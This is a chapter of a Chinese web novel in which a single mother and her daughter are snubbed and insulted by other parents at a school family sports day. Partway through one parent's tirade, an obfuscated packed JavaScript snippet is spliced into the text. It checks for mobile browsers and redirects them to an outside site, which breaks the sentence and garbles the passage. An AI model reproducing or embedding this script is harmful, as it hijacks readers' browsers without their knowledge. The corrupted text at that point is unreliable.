“哦那你真的很年轻呢。我是静静的奶奶。我姓周。”周奶奶和蔼地微笑着，慢慢坐下，从袋子里掏出根香蕉递给水非仙跟小莲。 两边聊天后才知道，静静的爷爷在化肥厂上班，爷爷走后，父亲没有进厂，而是跟着静静的妈妈一起，去粤省开了个小饭馆。听说粤省打工的工人更多，夫妻俩看准商机，过去在工地前卖盒饭。只是那边两人的条件还不好，就把静静留在Y市跟奶奶住，好继续上学。这静静跟小莲也是好朋友，水非仙邀请静静常来家里坐坐。 聊着聊着，比赛开始了，先是学生们自己的个人赛，然后才是和家长一起的协同赛。亚运会刚结束不久，话题度犹在，孩子们对竞技体育还抱有浓厚的热情。小莲和静静就是其中之一，她们上去积极报名，参加比赛。 出乎水非仙的意料，小莲还拿了个五年级一百米女子组冠军回来，十分优秀。可接下来的消息，却让水非仙笑不出来，协同赛的内容，只有全家三人绑腿跑跟父女接力赛。这两项比赛，无论哪个看上去都和水非仙母女关系不大了。 她低头看到小莲那刻意隐藏都隐藏不住的失望，打算上前跟杨校长说说情，让自己和小莲一起参加父女接力赛得了，哪怕是输，好歹给小莲留下点回忆也好。 “杨校长，”水非仙上前不好意思开口，“小莲和我的情况你是知道的，这孩子也想参加家庭比赛。我们不论输赢，让我和小莲参加父女接力跑你看行不行？拜托了……” 杨校长看向水非仙，这位单亲妈妈有多不容易他知道的，小莲这孩子聪明，他也一直喜欢，他点点头，刚想开口说破个例，就听到后面有家长带头反对。 “怎么？都是同学，比赛就是比赛，比赛就有规则，凭什么给单独一个人破例？”是开头瞪着自己的三对夫妻其中的一位女性，此刻对方正双手抱臂，不满地看向自己。 水非仙皱眉，有些不悦，但对方说得没错，水非仙只能据理力争：“你好，这位家长，我家小莲在成长过程中我本来就是又当爸又当妈的。且小莲没有爸爸，我不想让孩子白来，才想着作为孩子的爸爸，陪她创造比赛的记忆，总不好这比赛所有人都参加了，我家小莲参加不了？再说，我是女人，我的跑步速度从生理角度来说，就比男人要慢。我不认为我家小莲有任何占便宜的地方。” “呵，规矩就是规矩，规矩都能随便更改那还叫什么规矩？”那女子的父亲嚷嚷起来。 “就是啊，今天不是家庭运动会吗？你家姑娘来参赛的资格按理来说都是没有的，是不是应该把她前面个人赛的冠军奖状收回呢？”三户中另一位母亲，出声帮腔。 小莲听到那女人的话，紧紧握住那张奖状，这是在妈妈的面前拿到的奖状，已经写了她的名字，她不想还回去。 看到小莲的举动，周奶奶有些气不过：“你们为什么要为难一个单亲妈妈跟她的孩子，这是孩子自己班里的比赛，她凭什么不能参加？靠自己本事赢得的奖状，又为什么要还回去？” “呦，谁跟你说话了，当奶奶的也来参加运动会也不知道怎么想的。也难怪你们会谈得来，爷爷奶奶带大的孩子，能有什么好东西？不过都是被惯坏的罢了！单亲家庭的孩子，还能是什么健康的好孩子？怎么？以为你们可怜就能抱成团和其他小朋友抢参赛名额了吗？我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221464|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们其他的孩子才有那个参赛资格，你们凭什么违反规则？”最开始开口的那位妈妈大声质问。 周围的家长们听到她的话，还没了解清楚来龙去脉，只知道这位女孩子好像要违规参赛，与自家的孩子竞争，脸色都不悦起来。 杨校长见班里的家长大多持反对意见，无奈只能告诉水非仙：“抱歉，还是要遵守比赛规则，孩子这边只能跟着父亲一起参赛。” 水非仙看着小莲那低下头有些失望的表情，心里揪着难受。可那三名妈妈还是不依不饶地开挑衅，旁边的三位爸爸也是不仅没有劝和的样子，反而是帮着自己妻子针对水非仙。 那三名妈妈又搭腔着开口：“哎，我们全班的家长都是要参赛的，有些家长来了什么也不做，是不是应该给全班的孩子和家长们买水啊，好歹给班里做点贡献。” “可不是吗，听说小莲的妈妈，还是做生意的，生意做得还不小，那么有钱就应该出这个钱，别是扣扣搜搜的连这个钱都不愿意出吧。” 小莲拉拉水非仙的手，示意妈妈低头，水非仙弯下身子，小莲在水非仙耳边给她解释情况：“这三对家长的孩子，就是妈妈你当年踢过的那三个男孩。而且这三个妈妈听班里同学说，给从前那个被你告走的班主任，送过不少钱。” 小莲这么一解释，水非仙才明白过来情况，搞了半天，还真是没有无怨无悔的仇恨。一是记恨自己踢了他们的孩子，又碍着杨校长新来代班找不到机会发作。二是前面的班主任一走，送过的那么多钱都打水漂了，看杨校长的样子也不像会收他们东西的，所以就将这笔账算在自己的头上。 给全班买个水的钱，水非仙倒是不在意。可学校门口最近的小卖部都离学校有一段距离，而且那店家还是一位老阿姨。给全班的学生和家长买，少说得几箱，那不是水非仙能拿动的。更别说自己此刻离开，就是扔下小莲一人在这里，孩子在上学期间是不让离校的。自己去来回扛个几回也不是不行，只是那样一来，只怕比赛都过去了。这就会让小莲在别的同学都跟着全家一起快乐参加比赛的同时，自己可怜巴巴的，一个人坐在座位上羡慕别人有爸爸妈妈。恐怕这也就是这三对家长的目的。 “买水就别了，都是一个班的家长，怎么能怂恿小莲妈妈出这么多钱呢？”杨校长开口阻止。 “呦，小莲妈妈要是不愿意去，那我就去了，毕竟我儿子，还是有爸爸的。小莲同学这种家里特殊的，我们也能理解，只是我们虽然是职工家庭，请全班喝个水的钱还是愿意出的，小莲妈妈未免过于吝啬。”那第一次开的女人的丈夫此刻及时开口进一步拱火，听得水非仙也有点脾气上来。更是让周围的家长开始议论，小莲妈妈太过吝啬，听说她捐款就捐了十万，给同学们买个水的钱都不愿意出。 正在这时，一个温柔的男声从背后传来：“抱歉，我来晚了，今天有点忙。”是高歌，他怎么会在这里？ 63.面具